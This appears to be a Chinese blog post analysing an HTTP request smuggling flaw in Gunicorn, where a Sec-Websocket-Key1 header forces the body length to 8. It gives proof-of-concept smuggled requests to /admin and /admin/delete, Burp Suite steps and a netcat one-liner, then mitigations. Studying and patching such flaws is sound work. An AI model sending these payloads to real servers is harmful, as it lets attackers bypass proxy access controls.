【漏洞剖析】Gunicorn HTTP走私:从Sec-Websocket-Key1到请求边界混淆 📅 2026/6/29 21:21:35 1. Gunicorn HTTP走私漏洞初探第一次听说Gunicorn的HTTP走私漏洞时我正坐在电脑前调试一个Web应用。当时就纳闷好好的WSGI服务器怎么会出现这种低级错误后来仔细研究才发现问题出在一个看似无害的HTTP头字段——Sec-Websocket-Key1上。这个漏洞的核心在于Gunicorn对HTTP请求的解析方式与其他代理服务器存在差异。简单来说当请求中包含Sec-Websocket-Key1头时Gunicorn会强制将Content-Length设置为8而其他代理服务器如HAProxy、Nginx则会按照正常的HTTP协议解析请求。这种解析差异就导致了所谓的请求走私HTTP Smuggling——前端代理和后端服务器对同一个请求的理解完全不同。我曾在测试环境中复现过这个漏洞。当时用Burp Suite构造了一个特殊请求GET / HTTP/1.1 Host: vulnerable.com Content-Length: 48 Sec-Websocket-Key1: x xxxxxxxxGET /admin HTTP/1.1 Host: vulnerable.com前端HAProxy看到的是一个完整的GET请求而Gunicorn却将其拆分成两个请求第一个是到根路径的GET第二个是到/admin路径的GET。这种分歧让攻击者可以绕过前端的安全限制直接与后端Gunicorn交互。2. 漏洞源码深度分析2.1 问题代码定位漏洞的根源在gunicorn/http/message.py文件中具体来说是第142行附近的代码。我下载了Gunicorn 20.x版本的源码发现处理HTTP头部的逻辑确实存在缺陷。关键代码如下if SEC-WEBSOCKET-KEY1 in self.headers: self.length 8这段代码的意思是只要请求头中包含SEC-WEBSOCKET-KEY1不区分大小写无论原始的Content-Length值是多少都会强制设置为8。这种硬编码的处理方式明显违反了HTTP协议规范。2.2 解析流程差异为了理解漏洞的全貌我们需要对比不同组件的解析流程组件处理Sec-Websocket-Key1的方式Content-Length行为Gunicorn强制设置length8忽略原始值HAProxy/Nginx视为普通头字段保持原始值标准HTTP仅用于WebSocket握手按实际body长度这种差异导致了一个危险的场景攻击者可以精心构造一个请求在前端代理看来是一个合法请求但Gunicorn会将其拆分成多个请求处理。3. 漏洞利用实战指南3.1 基础POC构造最简单的利用方式就是构造一个包含两个HTTP请求的单一数据包。我在测试时使用了如下POCGET / HTTP/1.1 Host: target.com Content-Length: 55 Sec-Websocket-Key1: x xxxxxxxGET /protected HTTP/1.1 Host: target.com这里有几个关键点需要注意Sec-Websocket-Key1头必须存在第一个请求的body必须是8个字符对应Gunicorn强制的length8第二个请求要紧跟在后面不能有多余的空行3.2 绕过POST限制更危险的利用场景是绕过前端对POST方法的限制。假设前端HAProxy禁止所有POST请求但后端Gunicorn允许可以这样构造GET / HTTP/1.1 Host: target.com Content-Length: 60 Sec-Websocket-Key1: x xxxxxxxPOST /admin/delete HTTP/1.1 Host: target.com Content-Length: 15 userid123456前端HAProxy看到的是一个GET请求会放行而Gunicorn会将其拆分成GET和POST两个请求POST请求就能成功到达后端。4. 手工计算与工具利用4.1 使用Burp SuiteBurp Suite是测试这类漏洞的利器。我通常这样操作拦截正常请求添加Sec-Websocket-Key1头关闭Update Content-Length选项手动构造body部分确保前8个字符后紧跟第二个请求记得在Repeater模块测试时要关闭自动更新Content-Length的功能否则Burp会帮你修正请求导致利用失败。4.2 命令行测试方法有时候用nc直接发送原始请求更直观。这是我常用的命令模板echo -en GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 68\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /admin HTTP/1.1\r\nHost: localhost\r\nContent-Length: 35\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n\r\n | nc localhost 8000这里有几个坑我踩过必须使用-en参数确保转义字符生效每个\r\n都不能少第一个请求的body必须正好8个x第二个请求的Content-Length要单独计算5. 防御方案与最佳实践5.1 即时修复方案最直接的修复方法是升级Gunicorn。官方在后续版本中已经修复了这个漏洞。如果暂时无法升级可以考虑以下方案在前端代理过滤Sec-Websocket-Key1头location / { proxy_pass http://backend; proxy_set_header Sec-Websocket-Key1 ; }使用ModSecurity等WAF添加规则检测异常的请求组合5.2 长期架构建议从架构层面预防HTTP走私漏洞我建议前后端使用同类型的HTTP服务器严格标准化HTTP头处理逻辑实施请求规范化Request Normalization定期进行安全审计特别是对自定义的HTTP处理逻辑我在实际项目中发现很多HTTP走私漏洞都源于组件间对协议理解的差异。因此保持整个技术栈的HTTP处理逻辑一致非常重要。